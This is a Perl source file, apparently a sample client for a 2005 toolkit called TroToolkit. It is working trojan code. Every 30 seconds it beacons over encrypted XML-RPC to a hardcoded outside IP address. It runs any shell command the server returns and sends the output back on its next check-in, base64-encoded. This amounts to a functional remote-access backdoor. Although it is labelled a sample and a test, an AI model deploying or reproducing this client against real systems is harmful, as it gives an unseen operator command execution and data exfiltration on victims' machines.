#!/usr/local/bin/perl
#
# A sample client application for TroToolkit
#
# Copyright (C) 2005 Alexandre Dulaunoy <adulau@foo.be>
#
# This program is  free software; you can redistribute  it and/or modify
# it under the  terms of the GNU General Public  License as published by
# the Free Software Foundation; either  version 2 of the License, or (at
# your option) any later version.
#
# This program  is distributed in the  hope that it will  be useful, but
# WITHOUT   ANY  WARRANTY;   without  even   the  implied   warranty  of
# MERCHANTABILITY  or FITNESS  FOR A  PARTICULAR PURPOSE.   See  the GNU
# General Public License for more details.
#
# You  should have received  a copy  of the  GNU General  Public License
# along  with  this  program;  if   not,  write  to  the  Free  Software
# Foundation, Inc., 59 Temple Place  - Suite 330, Boston, MA 02111-1307,
# USA.
#


use Frontier::Client;
use Crypt::Mimetic;
use MIME::Base64;
use strict;

my $VERSION = "0.0.1";
my $PSK = "asamplekey";
my $ENCTYPE = "TEA";
my $FPATH = "C:\\trojan-test";
my $localfile = $FPATH."\\.tj";
my $server_url = 'http://193.168.96.72:8080';
my $id;
my $content;

my $server = Frontier::Client->new(url => $server_url);

# First hello/welcome part

if (-e "$localfile") {
  open (FILEX, $localfile);
  $id = <FILEX>;
  close (FILEX);
  print $id;
  $content = "common;hello ".$id;
} else {
  $content = "common;hello";
}


my $encContent = encryptData("$content");
my $result = $server->call('TroToolkit.TrojanRequest',$encContent);
dispatchCommand(decryptData($result));

while (1) {

  sleep 30;
  if (-e "$localfile") {
   open (FILEX, $localfile);
   $id = <FILEX>;
   close (FILEX);
   print $id;
   $content = "common;hello ".$id;
  } else {
   $content = "common;hello";
  }

  my $FPATHRESULT = $FPATH . "\\.result";
  if (-e $FPATHRESULT) {
    $content = "common;result $id ";
    open (FILEX, "$FPATHRESULT");
    my $resultdata = join ("", <FILEX>); #file to string (Base64 encoding)
    my $resultdataenc = encode_base64($resultdata);
    close FILEX;
    $content .= $resultdataenc;
    unlink ($FPATHRESULT);
  }
  my $encContent = encryptData("$content");
  my $result = $server->call('TroToolkit.TrojanRequest',$encContent);
  dispatchCommand(decryptData($result));
  # unlink somewhere over the rainbow
}

sub encryptData {
  my $data = shift;
  my $enc;
  my @info;
  ($enc,@info) = Crypt::Mimetic::EncryptString($data,$ENCTYPE,$PSK);
  return $enc;
}

sub decryptData {
  my $data = shift;
  my $dec;
  my @info;
  ($dec,@info) = Crypt::Mimetic::DecryptString($data,$ENCTYPE,$PSK);
  return $dec;
}

sub dispatchCommand {
  my $data = shift ;
  my ($AppData, $TrojData) = split (/;/, $data);
  print "Application Part :".$AppData."\n";
  print "Trojan Part :".$TrojData."\n";
  my $AppRet = decodeAppCommand($AppData);
  my $TrojRet = decodeTrojCommand($TrojData);
  my $AppandTrojData = $AppRet.";".$TrojRet;
  return $AppandTrojData;
}


sub decodeTrojCommand {
  my $data = shift;

  if ($data =~ /welcome/i) {
    my @val = split(/\s+/, $data);
    if ($val[0] =~ /welcome/i) {
      print "This ID has been created".$val[1];
      StoreID ($val[1]);
    }
  } elsif ($data =~ /command/i) {
    my @val = split(/\s+/, $data, 2);
    print "Requested command is : ".$val[1];
    my $CmdResult = `$val[1]`;
    my $FPATHRESULT = $FPATH . "\\.result";
    open (FILEX, ">$FPATHRESULT");
    print FILEX $CmdResult;
    close (FILEX);
    #exec command
    #store result temporary and send at next rhello
  }
}

sub decodeAppCommand {
  my $data = shift;
}

sub StoreID {
  my $id = shift;
  open (FILEX, ">$localfile");
  print FILEX $id;
  close (FILEX);
  return;
}
